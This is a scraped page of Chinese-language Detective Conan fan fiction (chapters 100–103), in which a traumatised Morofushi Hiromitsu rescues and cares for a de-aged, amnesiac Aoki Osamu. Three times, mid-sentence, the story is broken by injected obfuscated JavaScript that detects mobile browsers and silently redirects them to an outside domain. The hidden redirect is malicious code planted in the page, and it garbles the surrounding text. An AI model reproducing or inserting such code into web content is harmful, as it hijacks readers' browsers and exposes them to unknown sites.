那是一层贴在骨骼上的冰冷皮肉。 追在他身后的降谷零和赤井秀一终于气喘吁吁出现在了门口,两人惊疑不定地看着门外的标识,犹豫了一瞬才向着里间看去—— “hiro!” “诸伏!” “景光——!” 诸伏景光非常不明显地摇晃了两下,瞬间全身脱力昏了过去。 后来的事情在诸伏景光的记忆里一片模糊,他只记得似乎已经过去了很久,青木修的遗体不得不火化了。 那天他在警察医院里大发雷霆,黑田兵卫和诸伏高明谁也没摁住他。 最后是无计可施的诸伏高明指挥着降谷零、赤井秀一,还有和他一起出差顺道过来帮忙的大和敢助三个人一起偷袭了诸伏景光,让医生给他打了镇定,这才算告一段落。 诸伏景光的意识消失前,眼前的视线已经完全被泪水模糊了。 青木修…… “不要……” “不要……不要!” 诸伏景光猛地睁开眼跳起来,和猝不及防的降谷零正面撞上。 “hiro你没事吧?!” 降谷零捂着头,看他醒过来好歹是松了一口气。 “不要……” 诸伏景光惊魂未定,扭头一看才发现不对劲。 “这是哪里?” 降谷零的表情更加严肃了一些,“还好吗?要不我让人下来和你换一下……” 诸伏景光借助他的肩膀站稳,又问了一遍。 “这是哪儿?黄昏别馆?” “我们在黄昏别馆啊,刚刚有个家伙想要鱼死网破,扔了个手雷,你和他最近被震晕了。” 诸伏景光后知后觉才感觉到自己的脑袋和后背疼得厉害,但他什么都顾不上。 “青木修呢?” “还没找到——不过刚刚有个实验员交代了,青木修应该就在下面那层。” 青木修还活着! 虽然诸伏景光还没搞清到底发生了什么,眼前这一切究竟是不是在做梦,但是“青木修还活着”这个消息决定了他不可能再错过。 “快走!” 降谷零眼睁睁看着前一秒还一副被震蒙了的诸伏景光像是瞬间打了鸡血,整个人燃起熊熊斗志,抄起枪把自己远远甩在身后。 100.PTSD景遇到小修if2 “青木修——” “青木修——” “青木修!” 整条走廊,甚至连通的逃生楼梯间里都能听到诸伏景光的嘶吼声。 “hiro你先冷静一点!” 降谷零憋着一口气好不容易才追上了诸伏景光,又费了很大的力气才把人拽住。 “hiro……” 降谷零上气不接下气,一只手摁着诸伏景光,一只手撑在自己的膝盖上。 “你先冷静一点……楼下还没有经过排查,很危险。” 诸伏景光两个眼睛里全部都是血丝,每一次呼吸都伴随着漫长的起伏。 “青木修……现在很危险,我不能……不能……” 赤井秀一从后面扑过来,帮降谷零摁住即将挣脱的诸伏景光。 “诸伏君,你稍微冷静一下,我们现在就要去最下层了,马上就结束了。” “青木修……” 诸伏景光剧烈喘息了两声,缓缓甩甩头。 “接着。” 降谷零不知道从谁那里拿了瓶水过来,诸伏景光把它接稳,勉强让自己站稳了,直接拧开对着头顶浇了下去。 “……走吧。” 抹了把被水和汗布满的脸,诸伏景光率先转身,重新把枪端在胸前。 “马上来!” 诸伏景光虽然恢复了一些理智,但也仅仅只有一些。 “hiro你小心一点!” 降谷零紧紧追在诸伏景光的身后,都差点没跟上他的节奏。 诸伏景光似乎完全没有完全思考过补充弹药的问题,面前倒下的每一个拦路者就是他最好的后勤。他甚至不等子弹打光,一手保持着连发,一手去捡散落在地上的枪支。 “来不及了……” “快点啊……” 但是不管降谷零和赤井秀一,亦或是其他的行动人员怎样在身后呼喊,诸伏景光都充耳不闻,他像是魔怔了似的麻木的向前走,麻木的清除掉身前所有过来阻拦他的人。 降谷零何其熟悉诸伏景光,又一次差点没追上他的时候就确认幼驯染此刻的状态有些不对劲。 “hiro!” 他顾不上其他的事情了,冲上去强行抱住了诸伏景光。 “怎么……了?” 诸伏景光僵硬地转过头,整个脸部都有些涨红。 “你怎么了?” 降谷零用冰冷的枪托直接摁上他的脸,“你怎么了?!” 他一边开枪一边摁住诸伏景光,两个人都爆发了前所未有的力量,一时间谁也奈何不了谁。 “zero,让我去救他!不然来不及了!” 诸伏景光突然抬手敲了降谷零腕骨一下,后者被击中了麻筋,不过手也仅仅软了一瞬间。 诸伏景光抓住这一个呼吸都不够的时间,扭身向着最开始的方向冲过去。 他的目标实在是太明确了,以至于经过一位行动人员的时候,被撞了一个趔趄的警察有些丈二和尚摸不着头脑,“什么时候找到的布局图啊?” 赤井秀一和降谷零都听见了,两个人虽然没有任何眼神交流,却眼中不约而同闪过一道暗芒,神色几经变换,最后恢复了正常,仿佛什么都没有看见,也什么都没有听到。 “愣着干什么?跟上啊!” 降谷零一眼扫到周围的一些人脸上还有一些思考的痕迹,他立刻抬高声音,打断了他们的思路。 “青木修——!” 诸伏景光以一种前所未有的暴力方式强行打开了那个看起来根本没有任何破绽的墙壁开出了一个洞。 “青木修!” 他没有任何犹豫地从那个洞翻了进去,落地时还没站稳,差点把脚崴了。 “青木修!!!” 诸伏景光知道正中央那个不明活物是乌丸莲耶,却没有多分给他一个眼神,径直冲着角落扑了过去。 最后几步路他已经走不了了,完全是跪倒在地上凭着一点惯性到了青木修的面前。 “青木修……” 角落里,乃至青木修洁白的衣服上都有洇出来的血迹,不多,但足以让诸伏景光丧失理智。 “青木修你醒醒!” 他掐住地上那个人的肩膀,大力摇晃。 门外的人好不容易把他留下的那个洞又扩大了一点,还没进来,一探头就看到了这一幕。 “诸伏君!” 赤井秀一和降谷零一左一右把他强行拖开。 “你冷静一点……” “我怎么冷静!我怎么冷静!” 诸伏景光目眦欲裂,刚才短暂的触感分明和他记忆中的一样……硌手。 “不对劲!青木修情况不对!” 降谷零不得不扯着嗓子用自己的声音完全盖过诸伏景光的声音。 “你仔细看看!他不对劲!” 他完全没想到自己的这句话起了反作用,诸伏景光本就岌岌可危的精神状态当前更是雪上加霜。 “青木修!” 诸伏景光不知道哪里来的力气直接把摁住他的两个经过训练的大男人掀翻了,直接把面对着墙倒下的人抱了起来。 这一抱他就发现了不对劲。 手感不对。 这一瞬间,他终于找回了一点自己的理智。 “青木修?” 在他怀里的人是个少年,沾上了鲜血的白色实验服已经不是空荡了,而是完完全全的不合身。 以至于原本把他牢牢禁锢在墙角那一点范围的锁链,都只是诸伏景光稍微把少年的手稍微攥紧了一点,就让那只手从手铐里挣脱了出来。 “这就是青木修。” 虽然人还昏迷着,但初步检查过后可以判断生命体征还算平稳,诸伏景光仰头看了眼头顶,脚下一软直接跪在了地上。 “hiro!” 降谷零手忙脚乱要去搀他,不过他自己摆摆手,重新站稳了。 “这就是青木修……” 诸伏景光把怀里的少年抱得很紧,以至于还在昏迷中的人都微微皱了下眉头。 “zero,赤井,对面的那堵墙里还有一个实验室和一个办公室,都需要生物识别,直接爆破吧。” 他给出的这些信息目前没有任何依据,就像是诸伏景光自己随口说的话,但两人都选择了无条件的相信。 “让他们准备一下……” 诸伏景光满心满眼都只有青木修,他尽可能轻柔地检查了一遍青木修周身,没发现外伤。 这反而让诸伏景光更加焦虑了,没有明显的外伤,那些血是哪儿来的? 他不由得想起了那些从青木修口中涌出的、无法停止的鲜血。 “求你了……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811326|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他又检查了一下青木修的口腔,呼吸道整洁,没有异物。 衣服上的血只能是从青木修的皮肤里渗出来。 是因为变小的原因吗? 放在组织BOSS的藏身老巢发现这些类似于“奇迹”的东西似乎也不奇怪。 “医生……” 那边刚刚进行了一个爆破的开头,和记忆中一样,现场还有很多事情需要处理。 诸伏景光把人交给了救援,“他伤势怎么样?” 走在最后的医生摘下了口罩,“目前没有发现明显外伤,初步断定生命体征有一点虚弱,但总体还算平稳。” “麻烦你们一件事,”诸伏景光两头都不敢耽搁,语速飞快,“不管情况怎么样,请务必联系我。” “放心吧警官,我们会通知到的。” 诸伏景光一步三回头,重新返回了那个还有乌丸莲耶的病房。 “这个东西,生命体征比较脆弱,维生系统想办法给带着。” 下面的进度还挺快,等到他一路小跑赶回去的时候,已经有好几位行动人员围着乌丸莲耶在商量怎么把他安全搬走。 “诸伏先生!” 人群一下子散开,给他留出一条路。 “这个,这个,还有这个,找便携电源接上,其他的不用管。” 诸伏景光现在已经分不清自己的心跳到底是单纯的担心还是不祥预感带来的慌乱,也没跟他们客气,直接点出了记忆中的那几样仪器。 实验室和办公室那边的证据就更好找了,不管藏得有多深,诸伏景光都像是提前知道似的指出来。 “诸伏警官这怎么跟来过这儿一样。” 扫尾工作比预计中要快得多,紧绷的神经一旦松懈下来,人就想找点什么事情干。 “青木修短暂的醒过,他告诉我了。” 诸伏景光简单扯了个谎就敷衍了过去。降谷零和赤井秀一有点疑惑,不过这句话以及对应表情在诸伏景光脸上停留的时间太短,他们看过去的时候,由情绪带动的微表情也基本上线消失了。 诸伏景光破天荒找赤井秀一要了支烟,点上,叼在嘴里,转过身背对着大家。 天色已经暗下来,有些星星已经能看见了。 诸伏景光一抬眼就看到了一颗,他眨眨眼睛,用力把眼泪憋了回去。 “诸伏警官,看什么呢?” “没什么。” 诸伏景光把已经快要烧尽的烟吸完,转过身时已经恢复了平日的温和。 “就是……这颗星星有点太亮了,我抬头看看。” 他笑着说,就像是记忆中青木修留下的那一颗眼泪。 还不算熟络的行动人员还准备再想找个话题聊聊,诸伏景光的手机忽然响了起来。 “什么?!” 他几乎喊破了音,“真的吗?没事了?谢谢!谢谢!” 降谷零觉得他这大起大落的情绪着实有些不太安全,刚抬脚,就见还没来得及把手机收回去的诸伏景光,忽然往后退了两步,紧接着就那么直挺挺倒了下去。 “hiro——” “诸伏!” 诸伏景光失去意识前最后听见的是降谷零和赤井秀一的声音,但是却模模糊糊看到了青木修的脸。 “青木……” 在筋疲力尽合上眼的前一秒,他轻轻喊了一声。 101.PTSD景遇到变小修if3 “青木修!” 诸伏景光好不容易又一次从那个血色的噩梦中挣脱出来,一个鲤鱼打挺坐起身,直接把正在给他换药的护士撞翻了。 “抱歉……” 诸伏景光匆匆扔下一句道歉,翻身下床动作一气呵成。 “青木修!” “景光。” 拉开帘子,他又撞上了一个人。 是兄长诸伏高明。 “哥哥……” 诸伏景光维持着拉开帘子的姿势,有些怔愣。 诸伏高明的出现,是不是意味着…… 他不敢再往下细想。 “是在找青木先生吗?” 诸伏高明只需要看一眼弟弟的眼睛就知道他在担心什么,贴心地侧开身子,给诸伏景光让出视野。 “他目前情况还算平稳,只是……” “只是什么?!” 诸伏景光完全是惊弓之鸟,任何语意不明的转折词都能让他的心脏被高高揪起。 “放松些,”诸伏高明还是拉住了弟弟的胳膊,防止摇摇欲坠的诸伏景光摔在地上,“只是青木先生现在的样子和你之前的描述有些……不太一样。” 诸伏景光闭上眼睛,靠在诸伏高明的身上,长长叹出一口气。 青木修没事,这一次他没来晚。 “零和赤井先生在另外的病房休息。” 诸伏景光现在缓过神来了,能分出一点精力来关注别的事情。 “另外的病房?” 他站直身体,“零和赤井在一间病房?” 诸伏高明“嗯”了声,“怎么了?转来东京的伤员不少,医生随手安排了。” “希望没事。” 诸伏景光抹了把脸,“他俩应该不至于把病房拆了。” 他话听起来信誓旦旦,但诸伏高明还是从弟弟的语气里听出了疑似犹豫和心虚。 他仔细回想了一下两个人被医生带人摁进病房里的场景,决定还是要安慰一下弟弟。 “他们俩之间似乎没有矛盾,就是被医生们强行摁进病房里的时候抗议的很厉害。” 诸伏景光走到病床前蹲下,“那应该没事了,他们现在应该同仇敌忾。” 思考怎么才能逃出警察医院返回岗位吧。 青木修还在打针,一只手放在被子外面。 诸伏景光小心翼翼地搭上那只手。 冰凉,瘦削,不过记忆中的枪茧和疤痕增生都还在。 不过青木修现在仍旧很虚弱,猛地看过去几乎没什么呼吸起伏。 诸伏景光心中还是有些不宁,把手指放在了他的颈侧感受到了明显的跳动才后退了一步,重新趴在了青木修的病床边,把头放在青木修手边。 “太好了……” 诸伏高明在他动作期间一直没有说话,直到诸伏景光趴下去不动了,才上前一步,把手放在诸伏景光的头顶,让弟弟能够感受到自己的温度。 “景光,能不能告诉我,发生了什么?” 诸伏景光的肩背塌了下去,“哥……” 他就知道,哪怕能搪塞过去降谷零和赤井秀一,也不可能骗得过去诸伏高明。 “没事,不想说就不说。” 诸伏高明并没有要逼迫诸伏景光的意思,他只是希望弟弟能知道,自己随时都在。 诸伏景光摇摇头,声音闷闷的,“我只是……还没想好要怎么说。” 平行时空?还是穿越? 这种事听起来太荒谬,诸伏景光自己都不太相信。 他怕眼前的一切都是一场梦。 “青木修……已经死过一次了。” 他想了许久,决定还是把这件事告诉兄长。 诸伏高明没有大段插话,只是时不时给一句回应,表明自己在认真听。 “当时……当时我们去晚了,我把他交给医生,等到再去医院的时候,他已经死了。” 过去了很久,诸伏景光以为自己已经能比较平静地说出这件事,可实际上短短几句话的功夫他就已经泪流满面。 “再后来,我……睡了一觉,醒来就回到了黄昏别馆的行动现场。” 他耸了下肩膀,“很离奇吧。” 诸伏高明捏捏他的肩膀,“不离奇。” 兄长的回答让诸伏景光转过头看向他,“什么?” “不离奇,”诸伏高明又重复了一遍,神色认真,“你对青木先生有执念,发生这样的事情也不是全无可能。” 他的一席话让诸伏景光极为放松的笑了一下,诸伏高明见状,也稍稍放下了心。 “医生那边说,青木先生当时衣服上的血迹确实是从皮肤里渗出来的,不过内部并没有发现青木先生有内出血的现象。” “可能是组织的药。” 诸伏高明既然人能站在这里,说明他也有了一部分得知真相的权限。 “组织的目标,逆转生死。” 诸伏景光捡着一些重点说给诸伏高明,“青木是他们的实验体,应该是关键时刻被他们拿来试药了。” 骨骼缩小,听起来就很疼。诸伏景光可没忘记,青木修后来对疼痛很敏感。 “别太紧张,”诸伏高明收到了会议短信,只得拍拍诸伏景光的肩,简单给他顺顺毛,匆匆赶往警察厅,“青木先生会醒的。” 青木修在病床上躺了两天,诸伏景光中途还被降谷零和赤井秀一两人带走试图一起“越狱”,结果三人被警察医院里无处不在的监控发现,让医生护士抓住后好一顿教训。 这样一来,诸伏景光成天窝在病房里守着青木修的理由更加充分了。 最后先看不下去的是医生,又指挥降谷零和赤井秀一两人把他推出去到楼下见见光。 “你看看,快成吸血鬼了都。” 说是下楼散步,三个人不过是找了一处有太阳的地方开小会。 降谷零依旧是工作狂魔,在医院里住着还不忘记关注任务进展。 诸伏景光坐在长椅上,撑着下巴听两位共患难的兄弟拌嘴。 忽然楼内一阵喧闹,诸伏景光瞬间起身,眨眼就已经冲进门,随手抓住了一个护士,“发生什么了?!” 护士被他吓了一跳,不过还是本着职业素养回答了问题。 “723病房的病人醒了,但情绪不太稳定。” 诸伏景光拔腿就跑,把护士远远甩在了身后——723是他们的病房号。 刚出楼梯口就见病房门口围了一圈人,里面似乎还有医生的劝阻声。 “让一让!抱歉,让一让!” 诸伏景光顾不得那么多,挤开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14817753|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了人群来到最前方。 青木修确确实实是醒着的,不过他现在犹如一只小流浪,缩在墙角里,后背紧紧贴着墙,呲着牙,浑身的毛都炸起来,做好了随时攻击的准备。 “青木先生,你先冷静一下……” 穿着白大褂的医生正准备上前一步,就被青木修一个输液袋砸了回去。 “我们不会伤害你。”一旁的护士也在劝说,不过并没有什么用。 青木修身体尽可能贴近地面,压低了脊背,喉咙里发出了闷闷的呼噜声。 “快闪开!” 诸伏景光眼疾手快把还站在原地的医生护士向后拉去。 “当……” 一声巨响,输液架被青木修大力掷过来,用于挂输液袋的钩子直接把地上的瓷砖都砸裂了。 “你们是谁!” 其实青木修现在也很紧张,他只记得自己被左山先生带着人强行放倒了,谁知道已经过来就是这种陌生的环境。 更不要说眼前还全部都是白大褂,有些人手里还拿着针。 听见诸伏景光的声音,青木修极为谨慎地转头看了他一眼。 不过只有仅仅一眼,他就转开了视线。 诸伏景光脸上的笑容消失了。 “应该是药物副作用导致的暂时性失忆,”被诸伏景光救了一命的医生悄悄在他耳边,“青木先生大脑内部正常,没有明显伤痕和出血,会愈合。” 诸伏景光的心终于安全落地。 “青木,是我。” 青木修脸上的表情有些困惑,“青木……是我们?” “是你,是你的名字,你是青木修。” 诸伏景光让医生和护士先往外去一会儿,以防给青木修造成精神压力进一步刺激到他。 “我……”青木修的姿态看上去放松了一点,“我有名字?” “你有的。” 诸伏景光试探着抬起胳膊,见青木修没有表现出明显抗拒,便冲着他伸出手,掌心朝上。 不过青木修的戒备并没有完全消失,“你又是谁?” “我是诸伏景光,在组织里的代号……是苏格兰。” 青木修的表情终于有了生动的变化,小炮弹似的“嗖”一下扑进诸伏景光的怀里,还把人扑的往后退了几步。 “想起我了?” 青木修摇头,“没有,但是我做梦了,梦到另一个我说,要相信一个叫诸伏景光的男人,他很爱我。” 少年依旧瘦削,但是醒过来又有了情绪的起伏,体温终于恢复了一点,在诸伏景光的怀里,终于有了温度。 “另一个你?” 青木修神色中浮现了一丝惊恐。 “他很不好,”少年人的情绪还是更直白一些,找到了可以依赖的人就卸下了一半多的戒备,“他受了很重的伤,手很冷,嘴巴里还有血。” 诸伏景光的身体瞬间僵硬了。 这不就是……自己错过的那个青木修吗? 所以之前的一切都不是梦。 他默默收紧了自己的胳膊,青木修感受到了挤压,从他的怀里抬起头。 “怎么了?景光?” “没事。” 诸伏景光摇摇头,把他的脑袋重新摁回自己胸口。 “没事,景光在。” 102.PTSD景遇到变小修if4 “景光在呢……” 青木修记忆全无,但组织带给他积年累月的伤害还是留下了严重的影响,所有试图靠近他的医生护士无一例外都会被炸毛的小兽威胁,有时候一觉醒来睡蒙了直接动手也不是没有过。 不知道第多少次收到医生的求救前来救场的诸伏景光慢慢接近青木修,从他手里缓缓拿过那把镊子,递给了身后的小护士。 “你们先出去吧,一会儿我叫你们。” 诸伏景光视线始终放在青木修的身上没有移开过,护士得到了门口医生的示意,轻手轻脚从病房离开,还顺道贴心的为他们关上门。 “景光在……” 诸伏景光一个箭步冲上去,以迅雷不及掩耳之势把青木修牢牢禁锢在怀里。青木修乖乖不动,任由他动作。 他只是忘记了一些东西,不是傻了。诸伏景光有点不对劲他早就发现了,这个公安应该和自己发生过什么……有一丁点关于自己的风吹草动就紧张的不行。 不过自己并不反感诸伏景光,相反,有他在的时候,是少有的安心。 诸伏景光自己都没注意到他现在力气很大,双臂铁一样箍着青木修,以至于他呼吸都有点困难。 青木修老老实实蜷缩在诸伏景光的怀里,什么也没说。 过了好一会儿,诸伏景光才意识到自己的力气可能有些大了,连忙松开青木修,扶着他肩膀上下检查,“没事吧?是不是弄疼你了?” “没有,”少年乖巧地摇摇头,“不疼。” 和诸伏景光记忆中的青木修不同,少年时的他还没有完全长开,看上去还带着一丝秀气,不过低着头的时间也更多了,几乎没有抬着头正眼看人的时候。 “你在害怕我吗?” 耳边的热气让青木修不太明显地哆嗦了一下。 “没有……” 看样子他似乎是想挣扎一下,不过最后还是克制住了。 “那为什么不看着我?” 诸伏景光继续循循善诱,总是看不见青木修的眼睛,他就始终没有安全感,仿佛怀里的人不过是自己的幻觉。 “我……没有资格……直视别人。” 脸颊上先是一热,紧接着是一阵不容反抗的力道,诸伏景光捧着青木修的脸,半强迫地让他看着自己的眼睛。 “你值得一切。” 青木修灰色的瞳孔轻轻颤抖几下,最后从诸伏景光的瞳孔里看见了自己。 “如果我们真的在很早之前就已经认识了,”青木修眨眨眼睛,“我一定很喜欢你。” 笼罩在他脸上长年不散的阴云终于淡了一点,让诸伏景光看见了一点属于少年人的影子。 他拉进了一些自己和青木修之间的距离,见青木修没有躲避,他轻轻在对方的眉心落下一个吻。 “我喜欢你,我爱你。” 记忆不全的青木修仍旧没有记起自己和诸伏景光的往事,但胸腔中心脏乱了节奏的震颤骗不了他。 他们两情相悦。 此时两个人的距离很近,能够感受到彼此温热的呼吸,真实感一点点安抚了不安的心,诸伏景光这才喊了医生和护士重新进来。 青木修变小的原因暂时查不清楚,不过组织给他留下的其他的伤痕倒是明了。有一处贯穿伤恢复的不太好,有发炎的趋势,护士不得不用镊子把消炎药送进伤口更深处。 “呼……” 青木修尽量放轻动作幅度,深深吸了一口气,又慢慢吐出来。 冰凉的镊子触碰血肉的感觉仿佛能让青木修看清伤口内部的情状,他两只手紧紧攥着病床的床沿,牙齿深深咬在嘴唇之上。 尖锐的犬齿刺破了他还有些干裂的唇,一滴鲜红的血流出来,顺着嘴角缓缓下流,经过他的下巴,又随着他昂头的动作流经脖颈,最后融进了病号服的衣领。 诸伏景光原本站在病床边,一只手撑着床尾,一只手覆在青木修的手背上。 他鼻尖忽然动了下,视线瞬间锁定了那滴血留下的暗红色血痕。 “怎么了?” 感受到手背上骤然收紧的力道,青木修侧过头,一眼看见诸伏景光已经缩小到如针尖一样的瞳孔。 他腮帮有一刹那的绷紧,下一秒就调整好了表情,“不疼。” 诸伏景光没说话,只是撑在床尾的那只手大拇指摁上青木修嘴唇上的裂口,非常用力的碾掉已经干涸的血迹,接着又一路向下,用相同的力道把一直延伸到下巴上的血迹清理干净。 “请给我一个棉球,谢谢。” 泡过酒精的棉球贴上敏感的脖颈,途径脆弱的喉结,青木修整个人都在轻轻颤抖,奈何诸伏景光原本覆在他手背上的手此刻正铁钳一样固定着他,让他无处可逃。 “别咬。” 清理干净血迹,诸伏景光才重新看向青木修,目光温和,“咬破了会疼。” 青木修本想说自己已经习惯了,不过在诸伏景光温和又危险的眼神凝视下,他还是把这句话咽了回去。 不过也是得益于诸伏景光这么一打岔,护士那边已经把药换好了。 听见“咔哒”关门的声音,青木修紧绷的肩膀在瞬间放松。 方才他从诸伏景光的身上感受到了非常危险的气息。 没有致命的威胁,但依旧让他觉得自己被大型猫科动物盯上了。 “……以后别再咬嘴巴了。” 诸伏景光也放松了点,再一次凑近青木修,几乎是在用乞求的语气和他说话,“别再这样伤害自己了。” 青木修还有点摸不清楚状况,不过还是跟着直觉抬起胳膊拦住诸伏景光。 “……” 两人之间沉默了一会儿,诸伏景光忽然长长叹了一口气,“……我害怕。” 这是他第一次在青木修面前露怯。 “好。” 青木修没有多问,也没有做其他的解释,只是非常干脆直接的应下了诸伏景光的请求。 两人静静贴了一会儿,诸伏景光迫于成堆的工作不得不暂时和青木修分开。 病房又一次安静下来,青木修左看看右看看,见四下无人,轻手轻脚坐上了诸伏景光的病床。 “青木先——生。” 就在此时,诸伏高明敲了门进来,和反应不及的青木修四目相对。 “那个……呃……高明警官……我……” 青木修手足无措,话在嘴里打了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822481|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几个滚,结果半天什么解释的话都没说出来。 “我想和你聊一下,一些关于景光的事情。” 青木修正襟危坐,摆出一副洗耳恭听的姿势。 诸伏高明轻笑,“只是聊聊。” 他拖出一把凳子坐在病床前不远的地方,既和青木修距离很近,又不会给对方造成紧张感。 “最近恢复的怎么样?” “挺好的,其实本来也不太严重。” 面对诸伏高明,青木修也很难紧张,两人你一言我一语就聊了起来。 自己弟弟和青木修两个人的病历诸伏高明都熟读成诵了,他一听就知道青木修报喜不报忧,不过也没戳破。 “行动开始之前,景光就和我提起过你。” “他怎么说我的?” 青木修眼睛抬起来,亮晶晶的,又紧张又好奇。 “他说你很好,自己做了一些……对你有伤害的事情,很抱歉。” “唉?” 青木修眼睛睁圆了一些,他抓抓头发,除了那个堪称奇妙的以外,他几乎没有一点关于诸伏景光的记忆,完全没想到这个恨不得二十四小时跟着自己的公安居然是这样想。 “今天来,其实也是想请你帮我一个忙。” “高明警官你请说!” “你应该能感受到,这段时间景光有一点太紧张了吧?” “嗯,尤其是关于我的事情,他好像特别害怕听到不好的消息。” “虽然具体原因还不清楚,但医生根据他的一些行为和言语判断,他可能有一点PTSD。” 青木修在弄明白诸伏高明说话内容的刹那就紧张起来,直接从床上跳下来,“那怎么办?我应该怎么做?” “你也不用太紧张,医生说现在来看他的情况不是特别严重,而且大多与你有关,我想请你多多留意一下景光,”诸伏高明其实早就从诸伏景光那天和自己说的“离奇故事”中推断出了一些原因,症结恐怕就在青木修这里,“如果他有什么太反常的行为,麻烦你稍微照顾一下他,叫一下医生。” “绝对没问题的!” 现在的青木修根本不记得自己和诸伏景光先前在组织里的那些纠葛,他只记得这个公安对自己很好。 “景光非常、非常喜欢你,如果他做出了什么有些过激的事情,我先在这里代他向你道歉。” “不用不用!” 青木修手都摆出了残影,他脸颊上不太明显地爬上了一丝红晕,“我、我也很喜欢他。” 诸伏高明难得升起了一点八卦之心,“医生说你的记忆应该还没有完全恢复吧?” 眼前的警察实在是太有亲和力,再加上他本来就是诸伏景光的兄长,青木修不自觉就起了亲近之意。 “可是我的心不会骗我!” 他拍拍胸口,“我不记得,但是我知道心跳骗不了人。” 诸伏高明嘴角的笑意大了几分,青木修虽然生在组织,长在组织,但是他本性没有被影响,与外界隔绝的成长环境又让他多了几分不谙世事的纯洁。 是一个很善良很可爱的漂亮孩子啊。 不自觉间,诸伏高明已经接纳了这位“弟弟”。 103.PTSD景遇到变小修if5 诸伏高明本职还是在长野,没办法在东京久留,尽可能多待了几天之后还是不得不返回长野。 “哥,等这段时间忙完,我就带青木回来看你。” “高明哥再见。” 青木修没像跟其他人说话时那样,尤其是跟医生护士们那样站在诸伏景光的侧后方,而是和诸伏景光并肩而立。 “再见。” 诸伏高明先是抱了抱诸伏景光,又抱了下青木修。 青木修的身体非常明显地紧绷了一瞬,不过还是尽可能快速地让自己放松下来,犹豫一晌后还是抬手在诸伏高明后背上搭了下。 “去了长野,去吃荞麦面。” 诸伏高明面向着诸伏景光,但眼睛却看着青木修。 “哥你放心吧,我们尽量早点回来。” 参与行动的人员都陆陆续续出院了,只有青木修还因为医生们至今没有摸清他变小的缘由没有被允许出院,不过也考虑到了他的当前状况,提前报备过的话可以出去逛一小段时间。 “景光,我下午想出去一趟。” 收到了诸伏景光的加班消息,青木修坐在病床上咬着指甲想了会儿,给他发去这么一条信息。 “好,早点回来,我忙完就来医院。” 诸伏景光可能正在开会,过了一会儿才匆匆回复了一句话。 为了方便他出门,诸伏景光送了不少便装在医院——不知道他怎么知道的青木修的尺码,不过青木修也没问——青木修从柜子里随手摸了一套,随意套上就出了警察医院。 “小修要出去啊?” 虽然青木修刚醒过来的时候对周围除了诸伏景光以外的人都有戒备,甚至表现出了攻击性,但他稍微适应点之后一直表现的很乖巧,嘴甜懂事,长得又好看,大家都对他很不错。 “嗯嗯,我会早点回来的。” 之前有一次不小心误了回来的点,又正好赶上诸伏景光提前散会赶到了医院,天知道那天警察医院里发生了什么。 诸伏景光当时表面上看起来非常平静,淡定地向周围的医生护士们打了招呼,自己一个人一声不吭地在医院花园里找了一圈,没找到人就原地蹲下,面无表情进了公安的系统开始查青木修的行踪。 他在那里蹲了一会儿,期间甚至还能笑着和来往的人应声,大家都以为他在等青木修,也没多注意。 谁知道不到五分钟的时间诸伏景光就开着车从警察医院车库冲了出去。 彼时青木修正从警视厅匆匆往回赶,正巧和诸伏景光在大门口相遇。 “青木修!” 诸伏景光一个甩尾就近把车停下,直接从车上跳下来直奔青木修。 “怎么了?景光……” 他速度太快,以至于向来把警惕性拉到最高的青木修都没能在这一瞬间反应过来,被他吓了一跳。 “你怎么在这里?!” 青木修看了眼诸伏景光,又低头看了眼手腕上的手表。 “那个……我……” “发生什么了!” 他正想解释,却突然被诸伏景光的咆哮打断。 “发生什么了!” 见他不说话,诸伏景光又大声重复了一遍。 “青木修!说话!” “……那个……遇到了两个小孩,他们遇到了点困难,帮了一把。” 电光火石间,青木修想起了诸伏高明的拜托。 “我没事……我没事……” 他们就在警视厅门口,来来往往人也不算少,青木修担心影响到其他人往来进出,连忙揽着诸伏景光回到车上。 “先把车找个位置停好。” 诸伏景光人是坐回了驾驶座,手也握住了方向盘,但他手是抖的,呼吸是乱的,整个人甚至还在默念着什么。 “……这……” 青木修眨眨眼睛,他倒是会开车,但是……他不记得自己有没有驾照,不敢当着一局子条子的面玩无证驾驶。 “青木啊?!” 青木修正纠结着,他这一侧的车玻璃忽然被敲响。 “景老爷?!” 诸伏景光身体比大脑反应要快,在青木修降下车窗的瞬间侧身扑住了他。 “萩原警官?” 青木修脸上的愁容淡去,“能请你帮个忙吗?” “没关系没关系,我来就行。” 他们几个也都发现了诸伏景光的异常,早早留心上了。 “谢谢。” 青木修一只手被诸伏景光死死扣住,他好说歹说才绕下了车,接着一刻不停绕到了驾驶座这一侧。 “我在呢。” 诸伏景光眼睛空洞,机械性眨眨眼,有些麻木地跟上了诸伏景光。 “没事,我在呢。” 